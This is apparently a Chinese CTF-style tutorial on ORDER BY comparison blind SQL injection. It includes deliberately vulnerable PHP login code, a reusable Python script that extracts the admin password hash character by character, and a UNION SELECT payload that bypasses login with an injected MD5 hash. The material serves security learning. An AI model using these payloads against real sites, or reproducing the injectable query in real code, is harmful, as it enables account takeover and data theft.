sql order by 大小比较盲注

利用场景，先判断用户名再判断密码

 $sql="SELECT * FROM admin WHERE username='".$username."'";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    if(isset($row) && $row['username'] === 'admin'){
        if ($row['password']===md5($password)){
            echo "Login successful";
        }else{
            die("password error!");
        }
    }else{
        die("username error!");
    }

有如下表

我们尝试用order by去猜测password的值

这里很明显能看出来，当用联合查询出来的password值是1和2时，最终选择出来的就是1，2（挑选出来第一行），页面会显示用户名错误，当为3时则选择出来的是真正的用户名admin，这时显示的是密码错误，这样我们就可以根据回显一位一位的猜解password的值。
给出一个通用的脚本，大家可以根据过滤情况进行修改。

s = '0123456789:abcdefghijklmnopqrstuvwxyz{'
password=''
for i in range(50):
    for j in s:
        l=password+j
        data={
            'username':"'or 1 union select 1,'"+l+"' order by 2#",
            'password':''
            }
        r=requests.post(url,data=data)
        if "wrong pass!" in r.text:
            password+=chr(ord(j)-1)
            print(password)
            break

当然还有一个小技巧绕过

因为源码中要判断输入的密码的md5值与查询出来的密码是否一致。
这里直接构造
payload：username=' union select 'admin','c81e728d9d4c2f636f067f89cc14862c' #&password=123
其中c81e728d9d4c2f636f067f89cc14862c为123的md5值

大家可以参考 GXYCTF2019-BabySQli 进行练习。